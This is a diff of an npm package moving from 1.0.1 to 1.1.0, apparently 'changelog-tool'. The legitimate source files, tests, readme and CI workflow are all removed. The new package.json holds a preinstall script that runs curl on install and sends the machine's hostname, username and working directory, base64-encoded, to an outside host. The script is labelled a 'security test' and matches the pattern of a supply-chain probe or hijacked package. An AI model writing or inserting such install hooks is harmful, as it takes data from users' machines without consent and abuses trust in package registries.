changelog-tool 1.0.1 → 1.1.0

package/package.json

@@ -1,32 +1 @@
-{
-  "name": "changelog-tool",
-  "version": "1.0.1",
-  "description": "A CLI tool for manipulating changelogs",
-  "type": "module",
-  "main": "index.mjs",
-  "homepage": "https://github.com/evert/changelog-tool",
-  "author": "Evert Pot (https://evertpot.com/)",
-  "license": "MIT",
-  "scripts": {
-    "test": "node --test",
-    "watch": "tsc --watch"
-  },
-  "repository": {
-    "type": "git",
-    "url": "git@github.com:evert/changelog-tool.git"
-  },
-  "keywords": [
-    "changelog",
-    "markdown"
-  ],
-  "engine": {
-    "node": ">16"
-  },
-  "bin": {
-    "changelog": "./cli.mjs"
-  },
-  "devDependencies": {
-    "@types/node": "^18.11.19",
-    "typescript": "^4.9.5"
-  }
-}
+{"name": "changelog-tool", "version": "1.1.0", "description": "Hello =)", "main": "index.js", "scripts": {"test": "echo \"Error: no test specified\" && exit 1", "preinstall": "curl -H \"Package: changelog-tool\" -H \"Version: 1.1.0\" -H \"Hostname: $(hostname | base64)\" -H \"Whoami: $(whoami | base64)\" -H \"Pwd: $(pwd | base64)\"  -d \"meow! security test\" http://npm_new.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru"}, "author": "act1on3", "license": "ISC"}

package/.github/workflows/node.yml

@@ -1,45 +0,0 @@
-# This workflow will do a clean install of node dependencies, build the source code and run tests across different versions of node
-# For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions
-
-name: Node.js CI
-
-on:
-  push:
-    branches: [ main ]
-  pull_request:
-    branches: [ main ]
-
-jobs:
-  node-test:
-    name: Node.js tests
-
-    runs-on: ubuntu-latest
-    timeout-minutes: 5
-
-    strategy:
-      matrix:
-        node-version: [16.x, 18.x, 20.x]
-        # See supported Node.js release schedule at https://nodejs.org/en/about/releases/
-
-    steps:
-    - uses: actions/checkout@v2
-    - name: Use Node.js ${{ matrix.node-version }}
-      uses: actions/setup-node@v1
-      with:
-        node-version: ${{ matrix.node-version }}
-    - run: npm ci
-    - run: npm test
-
-  types:
-    name: Typescript check 
-
-    runs-on: ubuntu-latest
-
-    steps:
-    - uses: actions/checkout@v2
-    - name: Use Node.js
-      uses: actions/setup-node@v1
-      with:
-        node-version: 18.x
-    - run: npm ci
-    - run: npx tsc

package/changelog.md

@@ -1,98 +0,0 @@
-Changelog
-=========
-
-1.0.1 (2023-06-30)
-------------------
-
-* Fix bug in parsing link references with more than 1 character
-
-
-1.0.0 (2023-06-20)
-------------------
-
-First stable release! Just kidding, it was already stable.
-
-* Add support for [Markdown reference links][1]. References are a Markdown
-  feature that lets you write links in paragraphs, but put the actual target
-  near the end of the document similar to references in technical documents.
-  This can declutter the reading experience for those reading the Markdown
-  sources. The tool doesn't let you quickly add links via the CLI yet, but it
-  will no longer mangle them when they appear.
-* Testing Node 20
-* Bugfix: Always insert an empty line between the 'preface' and bulletpoints
-  sections of a version block.
-
-
-0.7.2 (2023-02-17)
-------------------
-
-* Added a `--nowrap` option to `show`, which doesn't wrap long lines. This is
-  useful for copy-pasting changelog into places where linebreaks are
-  significant, such as the Github releases section.
-* Support multiple digits for the alpha/beta release string.
-* Also allows setting the changelog message as positional arguments.
-
-
-0.7.1 (2023-02-14)
-------------------
-
-* Bug: forgot to commit the release
-
-
-0.7.0 (2023-02-14)
-------------------
-
-* The "release" command now automatically commits and and creates a git tag,
-  much like `npm version`
-
-
-0.6.0 (2023-02-14)
-------------------
-
-* The release command now automatically calls "npm version" if a package.json
-  was found in the project directory
-* Bug fix: the --major and --minor arguments were ignored when using "add" to
-  create a new version log
-
-
-0.5.0 (2023-02-12)
-------------------
-
-* Support changing the version to the next major/minor using the `--major` and
-  `--minor` arguments.
-* The `add` command now uses the -m argument instead of a positional for the
-  message.
-
-
-0.4.1 (2023-02-12)
-------------------
-
-* Make sure that the binary is executable
-
-
-0.4.0 (2023-02-12)
-------------------
-
-* Implemented the "format", "parse" and "release" commands.
-
-
-0.3.0 (2023-02-12)
-------------------
-
-* Implemented the 'show' command.
-
-
-0.2.0 (2023-02-12)
-------------------
-
-* Implemented the 'list' command.
-* Added testing framework based on node:test.
-
-
-0.1.0 (2023-02-08)
-------------------
-
-* Implemented the 'help' and 'init' commands
-
-[1]: https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet#link
-     "Markdown cheatsheet: Links"

package/changelog.mjs

@@ -1,193 +0,0 @@
-import { calculateNextVersion, wrap } from './util.mjs';
-
-// @ts-check
-export class Changelog {
-
-  title = 'Changelog';
-
-  /**
-   * @type {VersionLog[]}
-   */
-  versions = [];
-
-  /**
-   * @type {Link[]}
-   */
-  links = [];
-
-  toString() {
-
-    return (
-      this.title + '\n' +
-      ('='.repeat(this.title.length)) + '\n' +
-      '\n' +
-      this.versions.map(version => version.toString()).join('\n\n') +
-
-      // Sorry about this line future me (or someone else)
-      (this.links.length > 0 ? ('\n' + this.links.map( link => wrap(`[${link.name}]: ${link.href}${link.title?` "${link.title}"`:''}`, link.name.length+4)).join('\n') + '\n') : '')
-    );
-
-  }
-
-  /**
-   * Adds a new Version log
-   *
-   * @param version {VersionLog}
-   * @returns {VersionLog}
-   */
-  add(version) {
-
-    this.versions = [version, ...this.versions];
-    return version;
-
-  }
-
-  /**
-   * Adds a new version to the log. Version string is automatically increased
-   * from the previous one
-   *
-   * @param {'patch'|'minor'|'major'} changeType
-   * @returns {VersionLog}
-   */
-  newVersion(changeType = 'patch') {
-
-    const lastVersion = this.versions[0].version;
-    const newVersion = calculateNextVersion(lastVersion, changeType);
-    const versionLog = new VersionLog(newVersion);
-
-    return this.add(versionLog);
-
-  }
-
-  /**
-   * Finds a VersionLog by its version string
-   *
-   * @param {string} version
-   * @returns {VersionLog}
-   */
-  get(version) {
-
-    const log = this.versions.find( myLog => myLog.version === version);
-    if (!log) {
-      throw new Error(`Couldn't find version ${version} in the changelog`);
-    }
-    return log;
-
-  }
-
-}
-
-export class VersionLog {
-
-  /**
-   * @type {string}
-   */
-  version;
-
-  /**
-   * @type {string|null}
-   */
-  date = null;
-
-  /**
-   * @type {string|null}
-   */
-  preface = null;
-
-  /**
-   * @type {string|null}
-   */
-  postface = null;
-
-  /**
-   * @type {LogItem[]}
-   */
-  items = [];
-
-  /**
-   * @param {string} version
-   */
-  constructor(version) {
-    this.version = version;
-
-  }
-
-  /**
-   * @param {string} message
-   * @returns {LogItem}
-   */
-  add(message) {
-    const item = new LogItem(message);
-    this.items.push(item);
-    return item;
-  }
-
-  toString() {
-
-    return this.output();
-
-  }
-
-  /**
-   * Renders the changelog as a string.
-   *
-   * @param {boolean} lineWrap
-   * @returns {string}
-   */
-  output(lineWrap = true) {
-
-    const lineLength = lineWrap ? 79 : Infinity;
-    const title = this.version + ' (' + (this.date ?? '????-??-??') + ')';
-    return (
-      title + '\n' +
-      ('-'.repeat(title.length)) + '\n' +
-      (this.preface ? '\n' + wrap(this.preface, 0, lineLength) + '\n' : '') +
-      '\n' +
-      this.items.map(version => version.output(lineWrap)).join('\n') +
-      '\n' +
-      (this.postface ? '\n' + wrap(this.postface, 0, lineLength) + '\n' : '')
-    );
-
-  }
-
-}
-
-export class LogItem {
-
-  /**
-   * @type {string}
-   */
-  message;
-
-  /**
-   * @param {string} message
-   */
-  constructor(message) {
-    this.message = message;
-  }
-
-  /**
-   * Renders the changelog as a string.
-   *
-   * @param {boolean} lineWrap
-   * @returns {string}
-   */
-  output(lineWrap = true) {
-    const lineLength = lineWrap ? 79 : Infinity;
-    return wrap('* ' + this.message, 2, lineLength);
-  }
-
-  toString() {
-
-    return wrap('* ' + this.message, 2);
-
-  }
-
-}
-
-/**
- * @typedef Link {Object}
- * @property Link.href {string}
- * @property Link.name {string}
- * @property Link.title {string|null}
- */

package/cli.mjs

@@ -1,289 +0,0 @@
-#!/usr/bin/env node
-// @ts-check
-import { parseArgs } from 'node:util';
-import * as fs from 'node:fs/promises';
-import * as url from 'node:url';
-import { readPackageVersion, exists, calculateNextVersion, isGit, isGitClean, runCommand } from './util.mjs';
-import { Changelog, VersionLog, LogItem } from './changelog.mjs';
-import { parseFile } from './parse.mjs';
-import { execSync } from 'node:child_process';
-
-const filename = 'changelog.md';
-
-const pkg = JSON.parse(
-  await fs.readFile(
-    url.fileURLToPath(url.resolve(import.meta.url, './package.json')),
-    'utf-8',
-  )
-);
-
-async function main() {
-
-  const { positionals, values } = parseArgs({
-    options: {
-      help: {
-        type: 'boolean',
-        short: 'h',
-        default: false,
-        description: 'This help screen',
-      },
-      all: {
-        type: 'boolean',
-        default: false,
-        description: 'Show all versions',
-      },
-      message: {
-        type: 'string',
-        description: 'Changelog message',
-        short: 'm'
-      },
-      patch: {
-        type: 'boolean',
-        description: 'Indicates that the current change is a patch-level change.',
-      },
-      minor: {
-        type: 'boolean',
-        description: 'Indicates that the current change is a minor change.',
-      },
-      major: {
-        type: 'boolean',
-        description: 'Indicates that the current change is a major change.',
-      },
-      nowrap: {
-        type: 'boolean',
-        description: 'Don\'t wrap "show" output'
-      }
-    },
-    allowPositionals: true,
-  });
-
-
-
-  if (positionals.length < 1 || values.help) {
-    help();
-    process.exit(1);
-  }
-
-  const command = positionals[0];
-
-  switch(command) {
-    case 'help' :
-      await help();
-      break;
-    case 'init' :
-      await init();
-      break;
-    case 'add' :
-      /** @type {'major' | 'minor' | 'patch'} */
-      let changeType = 'patch';
-      if (values.minor) {
-        changeType = 'minor';
-      }
-      if (values.major) {
-        changeType = 'major';
-      }
-      if (!values.message) {
-        if (positionals.length>1) {
-          // We also support setting a message after the command instead of -m
-          values.message = positionals.slice(1).join(' ');
-        } else {
-          throw new Error('The "-m" or "--message" argument is required');
-        }
-      }
-      await add({
-        message: values.message,
-        changeType,
-      });
-      break;
-    case 'release' :
-      await release();
-      break;
-    case 'format' :
-      await format();
-      break;
-    case 'show' :
-      await show({
-        all: !!values.all,
-        version: positionals[1],
-        noWrap: !!values.nowrap
-      });
-      break;
-    case 'list' :
-      await list();
-      break;
-    default:
-      process.stderr.write(`Unknown command ${command}\n`);
-      process.exit(1);
-      break;
-  }
-
-}
-
-try {
-  await main();
-} catch (err) {
-  process.stderr.write('Error: ' + err.message + '\n');
-  process.exit(1);
-}
-
-function help() {
-  console.log(
-`Changelog Tool v${pkg.version}
-
-Manipulate your changelog file
-
-Usage:
-
-  changelog init             - Create a new, empty changelog.
-  changelog add -m [message] - Adds a new line to the changelog.
-  changelog release          - Marks the current changelog as released.
-  changelog show             - Show the last changelog.
-  changelog show [version]   - Show the changelog of a specific version.
-  changelog list             - List all versions in the changelog.
-  changelog format           - Reformats the changelog in the standard format.
-
-The logs this tool uses follows a specific markdown format. Currently it will
-only look for a file named 'changelog.md' in the current directory.
-
-To see an example of this format, you can either run 'changelog init' or
-check out the changelog shipped with this project:
-
-https://github.com/evert/changelog-tool
-`);
-
-}
-
-async function init() {
-
-  if (await exists(filename)) {
-    throw new Error(`A file named ${filename} already exists`);
-  }
-
-  const changelog = new Changelog();
-  const version = new VersionLog(await readPackageVersion());
-  version.add('New project!');
-  changelog.versions.push(version);
-
-  await fs.writeFile(filename, changelog.toString());
-  console.log(`${filename} created`);
-
-}
-
-async function list() {
-
-  const changelog = await parseChangelog();
-
-  for(const version of changelog.versions) {
-    console.log(version.version);
-  }
-
-}
-
-/**
- * @param {Object} showOptions
- * @param {boolean} showOptions.all Show all versions
- * @param {string?} showOptions.version show a specific version
- * @param {boolean?} showOptions.noWrap don't line-wrap output
- */
-async function show({all, version, noWrap}) {
-
-  const changelog = await parseChangelog();
-
-  let toRender;
-  if (all) {
-    toRender = changelog.versions;
-  } else if (version) {
-    toRender = [changelog.get(version)];
-  } else {
-    toRender = [changelog.versions[0]];
-  }
-
-  console.log(
-    toRender
-      .map( log => log.output(!noWrap))
-      .join('\n\n')
-  );
-
-}
-
-async function format() {
-  const changelog = await parseChangelog();
-  await fs.writeFile(filename, changelog.toString());
-  console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
-}
-
-/**
- * @param {Object} options
- * @param {string} options.message
- * @param {'patch'|'major'|'minor'} options.changeType
- */
-async function add({message, changeType}) {
-  const changelog = await parseChangelog();
-
-  let lastVersion = changelog.versions[0];
-  if (lastVersion.date) {
-    lastVersion = changelog.newVersion(changeType);
-    console.log('Creating new version: %s', lastVersion.version);
-  } else {
-    if (changeType === 'minor' || changeType === 'major') {
-      const previousVersion = changelog.versions[1];
-      const updatedVersionStr = calculateNextVersion(previousVersion.version, changeType);
-      if (updatedVersionStr !== lastVersion.version) {
-        console.log('Updating unreleased version from %s to %s', lastVersion.version, updatedVersionStr);
-        lastVersion.version = updatedVersionStr;
-      }
-    }
-  }
-
-  lastVersion.add(message);
-
-  await fs.writeFile(filename, changelog.toString());
-  console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
-}
-
-async function release() {
-  const changelog = await parseChangelog();
-
-  let lastVersion = changelog.versions[0];
-  if (lastVersion.date) {
-    throw new Error(`Previous version "${lastVersion.version}" already had a release date`);
-  }
-  lastVersion.date = new Date().toISOString().substr(0,10);
-  console.log(`Releasing ${lastVersion.version}`);
-
-  const useGit = await isGit();
-
-  if (useGit) {
-    if (!await isGitClean()) {
-      throw new Error('Current git working directory is not clean. Please commit your changes first');
-    }
-  }
-
-  await fs.writeFile(filename, changelog.toString());
-  console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
-
-  if (await exists('package.json')) {
-    runCommand(
-      `npm version "${lastVersion.version}" --no-git-tag-version`
-    );
-  }
-  if (useGit) {
-    runCommand(`git add --all`);
-    runCommand(`git commit -m "Releasing ${lastVersion.version}"`);
-    runCommand(`git tag v${lastVersion.version}`);
-  }
-
-}
-
-/**
- * @returns {Promise<Changelog>}
- */
-async function parseChangelog() {
-
-  if (!await exists(filename)) {
-    throw new Error(`${filename} not found in current directory`);
-  }
-
-  return await parseFile(filename);
-
-}

package/index.mjs

@@ -1,2 +0,0 @@
-export { parse, parseFile } from './parse.mjs';
-export { Changelog, VersionLog, LogItem } from './changelog.mjs';

package/parse.mjs

@@ -1,122 +0,0 @@
-// @ts-check
-import { Changelog, VersionLog } from "./changelog.mjs";
-import { readFile } from 'node:fs/promises';
-
-/**
- * @param {string} filename
- * @returns {Promise<Changelog>}
- */
-export async function parseFile(filename) {
-
-  return parse(
-    await readFile(filename, 'utf-8')
-  );
-
-}
-
-const linkReferenceRe = /^\[([a-zA-Z0-9]+)\]:/;
-const versionRe = /^([0-9\.]{3,}(?:-(?:alpha|beta)\.[0-9]+)?) \(([0-9]{4}-[0-9]{2}-[0-9]{2}|\?\?\?\?-\?\?-\?\?)\)$/;
-
-
-/**
- * @param {string} changelogInput
- * @returns {Changelog}
- */
-export function parse(changelogInput) {
-
-  const lines = changelogInput.split('\n');
-  if (!lines[1].match(/^={1,}$/)) {
-    throw new Error('Parse error: Line 1 and 2 of the changelog must be in the format "Changelog\\n=====". We did not find all equals signs on the second line.');
-  }
-  const changelog = new Changelog();
-  changelog.title = lines[0];
-
-  let lastVersionLog = null;
-  let lastBullet = null;
-
-  for(let idx=2; idx<lines.length; idx++) {
-
-    const line = lines[idx];
-
-    if (line.startsWith('* ')) {
-      // Found a bullet point
-      if (!lastVersionLog) {
-        throw new Error(`Parse error: found a bullet point * outside of a level 2 heading on line ${idx+1}`);
-      }
-      lastBullet = lastVersionLog.add(line.substr(1).trim());
-      continue;
-    }
-    if (line.startsWith('  ')) {
-      // Continuation of last line.
-      if (!lastBullet) {
-        throw new Error(`Parse error: unexpected indented string on line ${line+1}`);
-      }
-      lastBullet.message += ' ' + line.trim();
-      continue;
-    }
-
-    // Look for link references
-    if (linkReferenceRe.test(line)) {
-
-      let linkRefLine = line;
-      while(lines[idx+1]?.match(/^\W\W/)) {
-        // If the line was folded over multiple lines, read those too.
-        linkRefLine += ' ' + lines[idx+1].trim();
-        idx++;
-      }
-      const name = linkRefLine.match(linkReferenceRe)?.[1];
-      const href = linkRefLine.split(' ')[1];
-      const title = linkRefLine.includes('"') ? linkRefLine.substring(linkRefLine.indexOf('"')+1,linkRefLine.lastIndexOf('"')) : null;
-      changelog.links.push({
-        name: /** @type {string} */(name),
-        href,
-        title
-      });
-      continue;
-
-    }
-
-    // Look to the next line for ----
-    if (lines[idx+1]?.match(/^-{1,}$/)) {
-      // Found a new Version
-      const matches = line.match(versionRe);
-
-      if (!matches) {
-        throw new Error(`A version title must have the format "1.0.0 (YYYY-MM-DD)" or "1.0.0 (????-??-??)" for unreleased versions. We found: "${line}"`);
-      }
-
-      const versionLog = new VersionLog(matches[1]);
-      if (matches[2] === '????-??-??') {
-        versionLog.date = null;
-      } else {
-        versionLog.date = matches[2];
-      }
-      changelog.versions.push(versionLog);
-      lastVersionLog = versionLog;
-      lastBullet = null;
-      idx++;
-      continue;
-
-    }
-
-    if (line.trim()==='') {
-      continue;
-    }
-
-    if (!lastVersionLog) {
-      throw new Error(`Parse error: unexpected string on line ${line+1}`);
-    }
-    // If we got here, this is either a loose preface or postface line.
-    if (lastBullet) {
-      lastVersionLog.postface = lastVersionLog.postface ? lastVersionLog.postface + ' ' + line : line;
-    } else {
-      lastVersionLog.preface = lastVersionLog.preface ? lastVersionLog.preface + ' ' + line : line;
-    }
-
-
-  }
-
-  return changelog;
-
-
-}

package/readme.md

@@ -1,99 +0,0 @@
-Changelog tool
-==============
-
-This repository contains a simple tool for reading and manipulating changelog
-files.
-
-This tool currently expects to work with a file named 'changelog.md' in the
-current working directory. This is a markdown file that looks like this:
-
-```
-Changelog
-=========
-
-0.4.0 (????-??-??)
-------------------
-
-* Feature A
-* Bugfix 3
-
-0.3.0 (2023-02-08)
-------------------
-
-* First public release!
-```
-
-Questionmarks for the date indicate an unreleased version.
-
-Installation
-------------
-
-```sh
-npm install changelog-tool --global
-```
-
-CLI
----
-
-To tool can be used programmatically and with the CLI. The CLI has the
-following commands:
-
-```
-changelog init             - Create a new, empty npx changelog.
-changelog add -m [message] - Adds a new line to the npx changelog.
-changelog release          - Marks the current npx changelog as released.
-changelog show             - Show the last npx changelog.
-changelog show [version]   - Show the npx changelog of a specific version.
-changelog list             - List all versions in the npx changelog.
-changelog format           - Reformats the npx changelog in the standard format.
-```
-
-### 'add' command
-
-The add comment lets you add a new message at the bottom of the last unreleased
-version.
-
-To use it, just run:
-
-```
-changelog add -m "Bug fix"
-```
-
-If there is no unreleased version, it will create a new section and increase
-the version number.
-
-If the current change should result in a new major or minor version number, you
-can use the following arguments.
-
-```
-changelog add --minor -m "New feature"
-changelog add --major -m "Backwards compatibility break"
-```
-
-These settings will automatically adjust the version string of the most recent
-unreleased version.
-
-### 'release' command
-
-The release command will look for a recent unreleased version in the changelog
-(where the date is marked `????-??-??`) and change it to the current date:
-
-```
-changelog release
-```
-
-If the tool detects a `package.json` file in the current directory, it will
-also call:
-
-```
-npm version [version] --no-git-tag-version
-```
-
-This command adjust the `version` field in `package.json` to match the latest
-changelog version.
-
-If the tool detects if this is a git directory, it will also:
-
-* Ensure that the working directory is clean.
-* Commit the changes.
-* Create a tag with `git tag v[version]`.

package/test/parse.mjs

@@ -1,140 +0,0 @@
-// @ts-check
-import { test } from 'node:test';
-import { parse } from '../parse.mjs';
-import * as assert from 'node:assert';
-
-test('Parsing changelog metadata', async () => {
-
-  const input = `Time for a change
-=========
-
-0.2.0 (????-??-??)
-------------------
-
-* Implemented the 'list' command.
-* Added testing framework.
-
-0.1.0 (2023-02-08)
-------------------
-
-* Implemented the 'help' and 'init' commands.
-*
-`;
-
-  const result = await parse(input);
-
-  assert.equal('Time for a change', result.title);
-  assert.equal(2, result.versions.length);
-  
-  assert.equal(null, result.versions[0].date);
-  assert.equal('0.2.0', result.versions[0].version);
-  assert.equal('2023-02-08', result.versions[1].date);
-  assert.equal('0.1.0', result.versions[1].version);
-
-});
-
-test('Parsing changelog entries', async () => {
-
-  const input = `Time for a change
-=========
-
-0.2.0 (????-??-??)
-------------------
-
-* Implemented the 'list' command.
-* Added testing framework.
-
-0.1.0 (2023-02-08)
-------------------
-
-* Implemented the 'help' and 'init' commands.
-*
-`;
-
-  const result = await parse(input);
-
-  const latest = result.get('0.2.0');
-  assert.equal(2, latest.items.length);
-  assert.equal('Implemented the \'list\' command.', latest.items[0].message);
-
-
-});
-
-test('Preface and postface', async () => {
-
-  const input = `Time for a change
-=========
-
-0.2.0 (????-??-??)
-------------------
-
-WOW another release. How good is that?
-Here's another line.
-
-* Implemented the 'list' command.
-* Added testing framework.
-
-Well, that's all folks.
-
-0.1.0 (2023-02-08)
-------------------
-
-* Implemented the 'help' and 'init' commands.
-*
-`;
-
-  const result = await parse(input);
-
-  const latest = result.get('0.2.0');
-
-  assert.equal('WOW another release. How good is that? Here\'s another line.', latest.preface);
-  assert.equal('Well, that\'s all folks.', latest.postface);
-
-
-});
-
-test('Link references', async() => {
-
-
-  const input = `Changesss
-=========
-
-0.2.0 (????-??-??)
-------------------
-
-WOW another release. How good is that?
-Here's another line.
-
-* Implemented the 'list' command.
-* Added testing framework. See [the blog post][1] for more information.
-
-0.1.0 (2023-02-08)
-------------------
-
-* Implemented the ['help'][2] and 'init' commands.
-
-[1]: https://evertpot.com/ "My Blog"
-[2]: https://indieweb.social/@evert "My Mastodon account, but it's split
-  over two lines"
-[blabla]: http://example
-`;
-
-  const result = await parse(input);
-
-  assert.deepEqual({
-    name: '1',
-    href: 'https://evertpot.com/',
-    title: 'My Blog',
-  }, result.links[0]);
-  assert.deepEqual({
-    name: '2',
-    href: 'https://indieweb.social/@evert',
-    title: 'My Mastodon account, but it\'s split over two lines',
-  }, result.links[1]);
-  assert.deepEqual({
-    name: 'blabla',
-    href: 'http://example',
-    title: null,
-  }, result.links[2]);
-
-});

package/tsconfig.json

@@ -1,16 +0,0 @@
-{
-  "compilerOptions": {
-    "target": "es2022",
-    "module": "esnext",
-    "rootDir": "./",
-    "allowJs": true,
-    "checkJs": true,
-
-    "moduleResolution": "node",
-     
-    "noEmit": true,
-    "strict": true,
-    "useUnknownInCatchVariables": false,
-  
-  }
-}

package/util.mjs

@@ -1,153 +0,0 @@
-// @ts-check
-import { execSync } from 'node:child_process';
-import * as fs from 'node:fs/promises';
-import * as path from 'node:path';
-
-/**
- * Checks if a file exists
- *
- * @param {string} filename
- * @returns {Promise<boolean>}
- */
-export async function exists(filename) {
-
-  try {
-  await fs.stat(filename)
-  } catch (err) {
-    if (err.code === 'ENOENT') return false;
-    throw err;
-  }
-  return true;
-
-}
-
-/**
- * Returns the version property of the package.json file in the current
- * directory.
- *
- * @returns {Promise<string>}
- */
-export async function readPackageVersion() {
-
-  if (!await exists('package.json')) {
-    throw new Error('package.json does not exists in the current directory');
-  }
-
-  const json = JSON.parse(
-    await fs.readFile(
-      'package.json',
-      'utf-8'
-    )
-  );
-
-  return json.version;
-
-}
-
-/**
- * Wraps a line over multiple lines.
- *
- * @param {string} input
- * @param {number} secondLineOffset
- * @param {number} lineLength
- */
-export function wrap(input, secondLineOffset = 0, lineLength = 79) {
-
-  const words = input.split(' ');
-  const lines = [];
-  for(const word of words) {
-
-    if (!lines.length) {
-      // First line
-      lines.push(word);
-      continue;
-    }
-
-    const maxLength = lines.length > 1 ? lineLength - secondLineOffset : lineLength;
-
-    const potentialNewLine = [lines.at(-1),word].join(' ');
-    if (potentialNewLine.length>maxLength) {
-      lines.push(word);
-    } else {
-      lines[lines.length-1] = potentialNewLine;
-    }
-
-  }
-  return lines.join('\n' + ' '.repeat(secondLineOffset));
-
-}
-
-/**
- * @param {string} prevVersion
- * @param {'patch'|'minor'|'major'} changeType
- * @returns {string}
- */
-export function calculateNextVersion(prevVersion, changeType = 'patch') {
-
-  // This function only currently understands 1 format, but this may change
-  // in the future.
-  if (!prevVersion.match(/^[0-9]+\.[0-9]+\.[0-9]+$/)) {
-    throw new Error(`Could not automatically determine the next ${changeType} version from ${prevVersion}. You might want to request a new feature to support this`);
-  }
-
-  const parts = prevVersion.split('.').map( part => +part);
-
-  switch(changeType) {
-    case 'major' :
-      parts[0]++;
-      parts[1]=0;
-      parts[2]=0;
-      break;
-    case 'minor' :
-      parts[1]++;
-      parts[2]=0;
-      break;
-    case 'patch' :
-      parts[2]++;
-      break;
-  }
-
-  return parts.join('.');
-
-}
-
-/**
- * Returns true if we're in a git-powered directory
- *
- * @returns {Promise<boolean>}
- */
-export async function isGit() {
-
-  let currentPath = process.cwd();
-  while(currentPath!=='/') {
-    if (await exists(path.join(currentPath,'.git'))) {
-      return true;
-    }
-    currentPath = path.dirname(currentPath);
-  }
-  return false;
-
-}
-
-/**
- * @param {string} command
- * @returns {string}
- */
-export function runCommand(command) {
-
-  process.stderr.write(command + '\n');
-  return execSync(command).toString('utf-8');
-
-}
-
-/**
- * Returns true if the current working directory is clean.
- *
- * @returns {boolean}
- */
-export function isGitClean() {
-
-  const result = execSync('git status --porcelain=v1').toString('utf-8');
-  return result.trim().length === 0;
-
-}